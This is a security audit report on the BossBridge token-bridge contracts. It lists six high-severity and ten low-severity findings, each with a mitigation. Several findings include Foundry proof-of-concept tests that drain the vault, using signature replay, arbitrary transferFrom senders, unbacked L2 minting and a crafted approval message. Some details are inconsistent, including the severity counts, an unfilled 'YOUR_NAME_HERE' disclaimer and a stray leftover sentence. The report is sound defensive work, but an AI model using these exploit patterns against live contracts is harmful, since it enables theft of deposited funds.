BossBridge Audit Report

Version 1.0

AGMASO Security Reviews

November 1, 2024

BossBridge Audit Report

AGMASO Security Reviews

1 Nov, 2024

Prepared by: AGMASO Security Reviews Lead Auditors:

- Alejandro Guindo. AGMASO Security Reviews

Table of Contents

- [H-2] Withdrawals Exceed Total Deposited in `L1BossBridge`
- [H-3] Incomplete Compiler Awareness Leading to Deployment Issues on ZKsync Era (Deployment Logic Impact)
- [H-4] Replay Signature Attack in `L1BossBridge::withdrawTokensToL1`, causing the possibility to drain completly funds from Vault Contract.
- [H-5] Infinite minting of L2 tokens, leading to a critical issue, as we can mint funds that shouldn't be allowed.
- [H-6] Arbitrary `message` in `sendToL1` in `L1BossBridge` allows unlimited approval of tokens to an attacker, draining all vault funds.
- L-1: Centralization Risk for trusted owners
- L-2: Unsafe ERC20 Operations should not be used
- L-3: Missing checks for `address(0)` when assigning values to address state variables
- L-4: `public` functions not used internally could be marked `external`
- L-5: Event is missing `indexed` fields
- L-6: The `nonReentrant modifier` should occur before all other modifiers
- L-7: PUSH0 is not supported by all chains
- L-8: Large literal values multiples of 10000 can be replaced with scientific notation
- L-9: State variable could be declared constant
- L-10: State variable changes but no event is emitted.

Protocol Summary

Boss Bridge

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

We plan on launching `L1BossBridge` on both Ethereum Mainnet and ZKSync.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Token Compatibility

For the moment, assume *only* the `L1Token.sol` or copies of it will be used as tokens for the bridge. This means all other ERC20s and their weirdness is considered out-of-scope.

On withdrawals

The bridge operator is in charge of signing withdrawal requests submitted by users. These will be submitted on the L2 component of the bridge, not included here. Our service will validate the payloads submitted by users, checking that the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge.

Getting Started

Requirements

- git
  - You'll know you did it right if you can run `git --version` and you see a response like `git version x.x.x`
- foundry
  - You'll know you did it right if you can run `forge --version` and you see a response like `forge 0.2.0 (816e00b 2023-03-16T00:05:26.396218Z)`

Quickstart

```
git clone https://github.com/Cyfrin/7-boss-bridge-audit
cd 7-boss-bridge-audit
make
```

or

```
git clone https://github.com/Cyfrin/7-boss-bridge-audit
cd 7-boss-bridge-audit
forge install
forge build
```

Audit Scope Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375
- In scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20

- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    * L1BossBridge.sol
    * L1Token.sol
    * L1Vault.sol
    * TokenFactory.sol
  - ZKSync Era:
    * TokenFactory.sol
  - Tokens:
    * L1Token.sol (And copies, with different names & initial supplies)

Actors/Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Known Issues

- We are aware the bridge is centralized and owned by a single user, aka it is centralized.
- We are missing some zero address checks/input validation intentionally to save gas.
- We have magic numbers defined as literals that should be constants.
- Assume the `deployToken` will always correctly have an L1Token.sol copy, and not some weird erc20

Issues found

Severity	Number of issues found
High	6

Severity	Number of issues found
Medium	0
Low	0
Info	10
Gas	0
Total	16

Findings

[H-1] Arbitrary `from` in `transferFrom` in `L1BossBridge::depositTokensToL2`, allowing other users to deposit non owned tokens to the L2 owned address, stealing the tokens.

Description

We have found inside `L1BossBridge::depositTokensToL2` a call to `transferFrom` from `L1Token` SC.

This sintaxis allows anyone to call this function adding as parameter `from` an arbitrary address. If this address `from` has call previously `approve` to give allowance to L1BossBridge to move an amount of those tokens, any other malicious user could just call `depositTokensToL2` and deposit instead of their tokens, the tokens of the other user to his L2 address, steailing the tokens.

```
function depositTokensToL2(
        address from,
        address l2Recipient,
        uint256 amount
    ) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }

@>        token.transferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the
         ↪  corresponding tokens on L2
        //
        emit Deposit(from, l2Recipient, amount);
    }
```

Impact

The impact is High as it would deposit tokens from someone else without permission the 100% of the times. The likelihood could be medium, as only this will happen if previously the victim user has approved the address of `L1BossBridge` for that amount of tokens.

Proof of Concepts

PoC

```
function test_auditDepositOtherUserFundsWithoutConsent() public {
        vm.startPrank(user);
        uint256 amount = 10e18;
        token.approve(address(tokenBridge), amount);
        vm.stopPrank();

        vm.startPrank(userAttacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, userAttacker, amount);
        tokenBridge.depositTokensToL2(user, userAttacker, amount);
        vm.stopPrank();
        assertEq(token.balanceOf(userAttacker), 0);
        assertEq(token.balanceOf(user), 1000e18 - 10e18);
        assertEq(token.balanceOf(address(tokenBridge)), 0);
        assertEq(token.balanceOf(address(vault)), amount);
    }
```

Recommended mitigation

To mitigate this issue, you just need to avoid use an arbitrary address for `from` parameter. Instead make use of the `msg.sender` requiring that only the user who owns those tokens can deposit funds.

```
function depositTokensToL2(
-         address from,
        address l2Recipient,
        uint256 amount
    ) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }

-         token.transferFrom(from, address(vault), amount);
+        token.transferFrom(msg.sender, address(vault), amount);

        // Our off-chain service picks up this event and mints the
↪   corresponding tokens on L2
        //
        emit Deposit(from, l2Recipient, amount);
    }
```

[H-2] Withdrawals Exceed Total Deposited in `L1BossBridge`

Description

During testing of the `L1BossBridge` contract, it was discovered that users can withdraw more than their total deposited amounts. This vulnerability stems from the absence of any checks on balances for withdrawals in the function `withdrawTokensToL1`. Although there is a safeguard mechanism in place where an operator signs withdrawal requests, once a user has performed a single deposit, they can potentially withdraw any amount up to the entire balance of the `vault`.

Impact

This issue is of **high severity** as it allows users to withdraw more tokens than they have deposited, potentially draining the `vault` and resulting in loss of funds for all depositors. The likelihood of this vulnerability being exploited is significant if a malicious actor gains knowledge of this flaw and submits a withdrawal request after a minimal deposit.

Proof of Concept

The invariant test showed that the total deposited by users did not match the change in balance of the `vault`. Here is an example of how this can be exploited:

PoC

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import {Test, console} from "forge-std/Test.sol";
import {L1BossBridge} from "../../src/L1BossBridge.sol";
import {L1Token} from "../../src/L1Token.sol";
import {L1Vault} from "../../src/L1Vault.sol";
import {TokenFactory} from "../../src/TokenFactory.sol";
import {ECDSA} from "openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import {IERC20} from "openzeppelin/contracts/interfaces/IERC20.sol";
import {MessageHashUtils} from
↪  "openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";

contract Handler is Test {
    L1Token token;
    L1BossBridge tokenBridge;
    L1Vault vault;
    address deployer;
    address user = makeAddr("user");
    address user2 = makeAddr("user2");

    address userInL2 = makeAddr("userInL2");
    Account operator = makeAccount("operator");
    int256 public startingBalanceOfUserL1;
    int256 public startingBalanceOfUser2L1;
    int256 public endingBalanceUserL1;
    int256 public endingBalanceUser2L1;
    int256 public startBalanceVaultL1;
    int256 public endingBalanceVaultL1;
    int256 public totalDepositedByUser1;
    int256 public totalDepositedByUser2;
    constructor(
        address _deployer,
        L1Token _token,
        L1BossBridge _tokenBridge,
        L1Vault _vault
    ) {
        deployer = _deployer;
        token = _token;
        tokenBridge = _tokenBridge;
        vault = _vault;
        startingBalanceOfUserL1 = int256(token.balanceOf(user));
        startingBalanceOfUser2L1 = int256(token.balanceOf(user2));
        startBalanceVaultL1 = int256(token.balanceOf(address(vault)));
    }

    function DepositTokens(uint256 _amount, uint256 _actorIndexSeed) public
    ↪  {
        int256 amount = int256(
            bound(_amount, 0, tokenBridge.DEPOSIT_LIMIT() - 1)
        );
        address actor;
        if (_actorIndexSeed % 2 == 0) {
            actor = user2;
        } else {
            actor = user;
        }
        if (
            token.balanceOf(address(vault)) + uint256(amount) >
            tokenBridge.DEPOSIT_LIMIT()
        ) {
            return;
        }
        int256 startingBalanceOfUserL1InDeposit =
↪   int256(token.balanceOf(user));
        int256 startingBalanceOfUser2L1InDeposit = int256(
            token.balanceOf(user2)
        );

        int256 startBalanceVaultL1InDeposit = int256(
            token.balanceOf(address(vault))
        );

        vm.startPrank(actor);
        token.approve(address(tokenBridge), uint256(amount));
        tokenBridge.depositTokensToL2(actor, userInL2, uint256(amount));
        vm.stopPrank();
        if (actor == user) {
            endingBalanceUserL1 = int256(token.balanceOf(user));
            totalDepositedByUser1 += amount;
        } else if (actor == user2) {
            endingBalanceUser2L1 = int256(token.balanceOf(user2));

            totalDepositedByUser2 += amount;
        }

        endingBalanceVaultL1 = int256(token.balanceOf(address(vault)));
    }

    function WithdrawTokens(int256 _amount, uint256 _actorIndexSeed) public
    ↪   {
        address actor;
        int256 amount;
        if (_actorIndexSeed % 2 == 0) {
            actor = user2;
            amount = bound(_amount, 0, type(int64).max);
        } else {
            actor = user;
            amount = bound(_amount, 0, totalDepositedByUser1);
        }

        if (uint256(amount) > token.balanceOf(address(vault))) {
            return;
        }
        // uint256 startingBalanceOfUserL1InDeposit =
         ↪  token.balanceOf(user);
        int256 startBalanceVaultL1InWithddraw = int256(
            token.balanceOf(address(vault))
        );

        vm.startPrank(actor);
        // no hemos seteado ningun signer

        console.log(
            "Es operator aceptado? ",
            tokenBridge.signers(operator.addr)
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(
            _getTokenWithdrawalMessage(actor, uint256(amount)),
            operator.key
        );

        tokenBridge.withdrawTokensToL1(actor, uint256(amount), v, r, s);
        tokenBridge.withdrawTokensToL1(actor, uint256(amount), v, r, s);
        tokenBridge.withdrawTokensToL1(actor, uint256(amount), v, r, s);

        if (actor == user) {
            totalDepositedByUser1 -= amount;
        } else if (actor == user2) {
            totalDepositedByUser2 -= amount;
        }

        endingBalanceVaultL1 = startBalanceVaultL1InWithddraw - amount;
        //endingBalanceVaultL1 = int256(token.balanceOf(address(vault)));
    }

    ////////////////////////////////

    function _getTokenWithdrawalMessage(
        address recipient,
        uint256 amount
    ) private view returns (bytes memory) {
        return
            abi.encode(
                address(token), // target
                0, // value
                abi.encodeCall(
                    IERC20.transferFrom,
                    (address(vault), recipient, amount)
                ) // data
            );
    }

    /**
     * Mocks part of the off-chain mechanism where there operator approves
↪   requests for withdrawals by signing them.
     * Although not coded here (for simplicity), you can safely assume that
↪   our operator refuses to sign any withdrawal
     * request from an account that never originated a transaction
↪   containing a successful deposit.
     */
    function _signMessage(
        bytes memory message,
        uint256 privateKey
    ) private pure returns (uint8 v, bytes32 r, bytes32 s) {
        return
            vm.sign(
                privateKey,
                MessageHashUtils.toEthSignedMessageHash(keccak256(message))
            );
    }
}
```

Here you can find the `statefulFuzz assert`:

```
function statefulFuzz_breakInvariant() public {
        int256 totalDeposited = handler.totalDepositedByUser1() +
            handler.totalDepositedByUser2();
        int256 vaultBalanceChange = handler.endingBalanceVaultL1() -
            handler.startBalanceVaultL1();
        assertEq(totalDeposited, vaultBalanceChange);
    }
```

Here you will find the logs this assert is firing. You can see that the `TotalAmountDeposited` is negative. this means that the User is withdrawing more funds that he has deposited.

```
 [30959] InvariantTest::statefulFuzz_breakInvariant()
   [2383] Handler::totalDepositedByUser2() [staticcall]
      [Return] -394
    [2406] Handler::totalDepositedByUser1() [staticcall]
      [Return] 434410000581357825978 [4.344e20]
    [2340] Handler::startBalanceVaultL1() [staticcall]
      [Return] 0
    [2384] Handler::endingBalanceVaultL1() [staticcall]
      [Return] 434410000581353470926 [4.344e20]
     emit log(val: "Error: a == b not satisfied [int]")
     emit log_named_int(key: "      Left", val: 434410000581357825584 [4.344e20]
    emit log_named_int(key: "     Right", val: 434410000581353470926 [4.344e20])
     [0] VM::store(VM: [0x7109709ECfa91a80626fF3989D68f67F5b1DD12D], 0x6661696c6
 [Return]
     [Stop]
```

This indicates a discrepancy between the total deposited and the balance of the vault after withdrawals.

Recommended Mitigation

To prevent this issue, implement balance checks for withdrawals to ensure that users can only withdraw up to the amount they have deposited:

```
function withdrawTokensToL1(

    address to,

    uint256 amount,

    uint8 v,

    bytes32 r,
    bytes32 s
) external {
+   // Check if the user has sufficient deposited balance
+   require(userDepositedBalances[to] >= amount, "Insufficient deposited
↪   balance");
    sendToL1(
        v,
        r,
        s,
        abi.encode(
            address(token),
            0, // value
            abi.encodeCall(
                IERC20.transferFrom,
                (address(vault), to, amount)
            )
        )
    );
+   // Update the user's deposited balance after successful withdrawal
+   userDepositedBalances[to] -= amount;
}
```

Here’s a markdown report for the identified issue:

[H-3] Incomplete Compiler Awareness Leading to Deployment Issues on ZKsync Era (Deployment Logic Impact)

Description

The `TokenFactory` contract uses the `create` instruction to deploy new ERC20 contracts from provided bytecode:

```
assembly {

    addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))

}
```

On ZKsync Era, deployment relies on the bytecode hash for security and correctness. The compiler must be aware of the bytecode at compile-time for proper functioning. The use of runtime-provided bytecode, as seen in `deployToken`, poses a risk because the compiler cannot confirm the validity or presence of the bytecode beforehand.

Impact

Deployments made through the `deployToken` function may fail or produce unexpected results since the compiler cannot guarantee that the bytecode matches expectations. This could lead to issues such as:

- Incomplete or erroneous contract deployments.
- Increased vulnerability to deploying unauthorized or malicious bytecode, especially if passed by an untrusted source.

Proof of Concepts

The code in `deployToken`:

```
assembly {

    addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))

}
```

does not ensure the compiler has advance knowledge of the bytecode.

According to the provided documentation, using `type(T).creationCode` is necessary for compiler awareness:

```
bytes memory bytecode = type(MyContract).creationCode;

assembly {

    addr := create2(0, add(bytecode, 32), mload(bytecode), salt)

}
```

Recommended mitigation

1. Replace the current use of the `create` instruction with a method where the compiler knows the bytecode in advance:

- Use `type(T).creationCode` where applicable to ensure the compiler is aware of the bytecode.
- Ensure robust validation of any bytecode input to prevent the deployment of unauthorized or malicious contracts.

2. Conduct thorough testing, including test cases for any factory deployment logic, using the provided or intended creation code to avoid runtime issues. This ensures that users can only withdraw up to the amount they have deposited, maintaining the integrity of the system and preventing abuse.

[H-4] Replay Signature Attack in `L1BossBridge::withdrawTokensToL1`, causing the possibility to drain completly funds from Vault Contract.

Description

The `L1BossBridge::withdrawTokensToL1` needs as a parameter a signature type `uint8 v, bytes32 r, bytes32`. This signature is provided previusly by the Signer, and will be only provided if the User reclaiming funds had previusly complete a Deposit operation to the bridge.

In this case, once we have the signature of the Signer, we can call anytime the `withdrawTokensToL1` or `sendToL1` functions and drain the funds inside of the Vault contract, as there is no condition to stop using the same signature many times.

```
function withdrawTokensToL1(
        address to,
        uint256 amount,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
        sendToL1(
            v,
            r,
            s,
            abi.encode(
                address(token),
                0, // value
                abi.encodeCall(
                    IERC20.transferFrom,
                    (address(vault), to, amount)
                )
            )
        );
    }
```

Impact

The Impact is critical, and likelihood also high, as the Attacker needs only to deposit once whatever quantity to get all the funds in the contract.

Proof of Concepts

PoC

```
function test_auditReplaySignatureAttack() public {
        deal(address(token), address(userAttacker), 100e18);
        deal(address(token), address(vault), 100e18);
        uint256 amount = 10e18;
        vm.startPrank(userAttacker);
        token.approve(address(tokenBridge), amount);
        tokenBridge.depositTokensToL2(userAttacker, userAttackerInL2,
↪   amount);

        //Signer
        bytes memory message = _getTokenWithdrawalMessage(
            address(userAttacker),
            amount
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
 ↪  operator.key);

        //Replay Attack
        while (token.balanceOf(address(vault)) >= 10e18) {
            tokenBridge.sendToL1(v, r, s, message);
        }
        uint256 balanceOfVaultFinal = token.balanceOf(address(vault));
        uint256 balanceOfAttackerFinal =
 ↪  token.balanceOf(address(userAttacker));

        assert(balanceOfVaultFinal == 0);
        assert(balanceOfAttackerFinal == 200e18);
    }
```

Recommended mitigation

To mitigate this critical vulnerability, you need to add to the signature a new parameter that avoid to call the the `withdrawTokensToL1` with the same signature.

For instance, you can add the `nonce` to the signature and verification of the signature. Only with this, you will avoid that anyone can use the same signature many times.

Ohter way, will be add `timestamp`. It follows the same princip. We need to add something that creates boundaries to use the signature many times.

[H-5] Infinite minting of L2 tokens, leading to a critical issue, as we can mint funds that shouldn't be allowed.

Description

The `L1Vault` approves the `L1BossBridge` for the `type(uint256).max` quantity of tokens. This is acomplished to allow the `L1BossBridge` to move tokens easily in name of the `L1Vault`.

```
   function approveTo(address target, uint256 amount) external onlyOwner {
        token.approve(target, amount);
    }
```

In the `DepositTokensToL2` we can then send funds from Vault to Vault, as the `L1BossBridge` is approved to do so, and then generate an Event `Deposit` which is used for the L2 to generate the corresponding amount of L2 tokens. This means the Deposit event is so important and we are pushing inside of this event the address of the Attacker in L2. He will get minted the amount of tokens he want. Practically we are not moving any Funds, because we are sending form Vault to Vault, but we are emitting everytime a new Event taht is used for the Hack of minting new L2 tokens to tje attacker's address.

```
function depositTokensToL2(
        address from,
        address l2Recipient,
        uint256 amount
    ) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
        // q habra que aprobar al bridge para que maneje mis tokens
        // @audit-High: from has to be msg.sender, anyone can call
         ↪  transferFrom if a approve has been made before for that address
@>        token.transferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the
         ↪  corresponding tokens on L2
        //
        emit Deposit(from, l2Recipient, amount);
    }
```

Impact

Impact is High and likelihood also. This is a critical issue. If the Attacker notice this bug, he can apply it anytime, as he even doesn't need to have any funds to attack.

Proof of Concepts

PoC

```
function test_auditCanTransferFromVaultToVault() public {
        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        vm.expectEmit(false, false, false, true);
        emit Deposit(address(vault), address(userAttacker), vaultBalance);
        tokenBridge.depositTokensToL2(
            address(vault),
            userAttacker,
            vaultBalance
        );
    }
```

Recommended mitigation

Change the arbitrary `from` param for `msg.sender`. This allows only the caller of the function to be the owner of the fund, and we can not push other address such as the `address(vault)`.

```
function depositTokensToL2(
-        address from,
        address l2Recipient,
        uint256 amount
    ) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
        // q habra que aprobar al bridge para que maneje mis tokens
        // @audit-High: from has to be msg.sender, anyone can call
 ↪  transferFrom if a approve has been made before for that address
-        token.transferFrom(from, address(vault), amount);
+        token.transferFrom(msg.sender, address(vault), amount);

        // Our off-chain service picks up this event and mints the
 ↪  corresponding tokens on L2
        //
-        emit Deposit(from, l2Recipient, amount);
+        emit Deposit(msg.sender, l2Recipient, amount);
    }
```

[H-6] Arbitrary `message` in `sendToL1` in `L1BossBridge` allows unlimited approval of tokens to an attacker, draining all vault funds.

Description

The `sendToL1` function in the `L1BossBridge` contract allows an arbitrary `message` parameter, which is signed by an authorized signer and then executed on-chain. An attacker can craft this `message` to include a call to `L1Vault::approveTo`, allowing them to set an infinite token allowance for their own address and drain all funds from the vault.

```
function sendToL1(
    uint8 v,
    bytes32 r,
    bytes32 s,
    bytes memory message
) public whenNotPaused nonReentrant {
    address signer = ECDSA.recover(
        MessageHashUtils.toEthSignedMessageHash(keccak256(message)),
        v,
        r,
        s
    );
    if (!signers[signer]) {
        revert L1BossBridge__Unauthorized();
    }
    (address target, uint256 value, bytes memory data) = abi.decode(
        message,
        (address, uint256, bytes)
    );
    (bool success, ) = target.call{value: value}(data);
    if (!success) {
        revert L1BossBridge__CallFailed();
    }
```

```
}
```

Impact

The impact of this vulnerability is **High**. By leveraging an arbitrary `message`, an attacker can call the `approveTo` function on `L1Vault`, granting themselves an unlimited allowance. This would allow them to withdraw all tokens stored in the vault, effectively draining the funds. The likelihood is **Medium**, as it requires obtaining a valid signature from an authorized signer.

Proof of Concept

PoC

```
function test_auditArbitraryMessageInSendToL1() public {

    deal(address(token), address(userAttacker), 100e18);

    deal(address(token), address(vault), 100e18);

    uint256 amount = 10e18;

    vm.startPrank(userAttacker);

    token.approve(address(tokenBridge), amount);

    tokenBridge.depositTokensToL2(userAttacker, userAttackerInL2, amount);

    // Construct a malicious message to call approveTo on L1Vault

    bytes memory message = abi.encode(

        address(vault), // target

        0, // value

        abi.encodeCall(

            L1Vault.approveTo,

            (address(userAttacker), type(uint256).max)

        )
    );

    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    // Execute the malicious call with sendToL1

    tokenBridge.sendToL1(v, r, s, message);

    // Extract all funds previously approved

    uint256 balanceToSteal = token.balanceOf(address(vault));

    token.transferFrom(address(vault), userAttacker, balanceToSteal);

    uint256 balanceOfVaultFinal = token.balanceOf(address(vault));

    uint256 balanceOfAttackerFinal =
↪   token.balanceOf(address(userAttacker));

    assert(balanceOfVaultFinal == 0);

    assert(balanceOfAttackerFinal == 200e18);

}
```

Recommended Mitigation

To mitigate this issue, ensure that only specific, safe calls are allowed in the `sendToL1` function by validating the `message` structure or restricting the types of functions that can be executed.

```
function sendToL1(

    uint8 v,

    bytes32 r,

    bytes32 s,

    bytes memory message

) public whenNotPaused nonReentrant {

    address signer = ECDSA.recover(
        MessageHashUtils.toEthSignedMessageHash(keccak256(message)),
        v,
        r,
        s
    );
    if (!signers[signer]) {
        revert L1BossBridge__Unauthorized();
    }
+   // Validate that the message only targets whitelisted functions or
↪   contracts
+   require(isValidFunctionCall(message), "Unauthorized function call");
    (address target, uint256 value, bytes memory data) = abi.decode(
        message,
        (address, uint256, bytes)
    );
    (bool success, ) = target.call{value: value}(data);
    if (!success) {
        revert L1BossBridge__CallFailed();
    }
}
// Helper function to check for valid function calls
```

```
function isValidFunctionCall(bytes memory message) private pure returns
 ↪  (bool) {

    // Logic to validate only specific functions are allowed

}
```

L-1: Centralization Risk for trusted owners

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

8 Found Instances

- Found in src/L1BossBridge.sol Line: 26

  ```
  contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
  ```

- Found in src/L1BossBridge.sol Line: 51

  ```
      function pause() external onlyOwner {
  ```

- Found in src/L1BossBridge.sol Line: 55

  ```
      function unpause() external onlyOwner {
  ```

- Found in src/L1BossBridge.sol Line: 60

  ```
      function setSigner(address account, bool enabled) external
   ↪  onlyOwner {
  ```

- Found in src/L1Vault.sol Line: 9

  ```
  contract L1Vault is Ownable {
  ```

- Found in src/L1Vault.sol Line: 18

  ```
      function approveTo(address target, uint256 amount) external
   ↪  onlyOwner {
  ```

- Found in src/TokenFactory.sol Line: 13

  ```
  contract TokenFactory is Ownable {
  ```

- Found in src/TokenFactory.sol Line: 29

  ```
      ) public onlyOwner returns (address addr) {
  ```

L-2: Unsafe ERC20 Operations should not be used

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

3 Found Instances

- Found in src/L1BossBridge.sol Line: 76

  ```
          token.transferFrom(from, address(vault), amount);
  ```

- Found in src/L1BossBridge.sol Line: 99

  ```
                      IERC20.transferFrom,
  ```

- Found in src/L1Vault.sol Line: 19

  ```
          token.approve(target, amount);
  ```

L-3: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

1 Found Instances

- Found in src/L1Vault.sol Line: 13

  ```
          token = _token;
  ```

L-4: `public` functions not used internally could be marked `external`

Instead of marking a function as `public`, consider marking it as `external` if it is not used internally.

2 Found Instances

- Found in src/TokenFactory.sol Line: 26

  ```
      function deployToken(
  ```

- Found in src/TokenFactory.sol Line: 41

  ```
      function getTokenAddressFromSymbol(
  ```

L-5: Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

2 Found Instances

- Found in src/L1BossBridge.sol Line: 39

  ```
  event Deposit(address from, address to, uint256 amount);
  ```

- Found in src/TokenFactory.sol Line: 17

  ```
  event TokenDeployed(string symbol, address addr);
  ```

L-6: The `nonReentrant modifier` should occur before all other modifiers

This is a best-practice to protect against reentrancy in other modifiers.

1 Found Instances

- Found in src/L1BossBridge.sol Line: 111

  ```
  ) public whenNotPaused nonReentrant {
  ```

L-7: PUSH0 is not supported by all chains

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

4 Found Instances

- Found in src/L1BossBridge.sol Line: 15

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/L1Token.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/L1Vault.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/TokenFactory.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

L-8: Large literal values multiples of 10000 can be replaced with scientific notation

Use e notation, for example: `1e18`, instead of its full numeric value.

2 Found Instances

- Found in src/L1BossBridge.sol Line: 29

  ```
      uint256 public DEPOSIT_LIMIT = 100_000 ether;
  ```

- Found in src/L1Token.sol Line: 8

  ```
      uint256 private constant INITIAL_SUPPLY = 1_000_000;
  ```

L-9: State variable could be declared constant

State variables that are not updated following deployment should be declared constant to save gas. Add the `constant` attribute to state variables that never change.

1 Found Instances

- Found in src/L1BossBridge.sol Line: 29

  ```
      uint256 public DEPOSIT_LIMIT = 100_000 ether;
  ```

L-10: State variable changes but no event is emitted.

State variable changes in this function but no event is emitted.

1 Found Instances

- Found in src/L1BossBridge.sol Line: 60

  ```
      function setSigner(address account, bool enabled) external
  ↪   onlyOwner {
  ```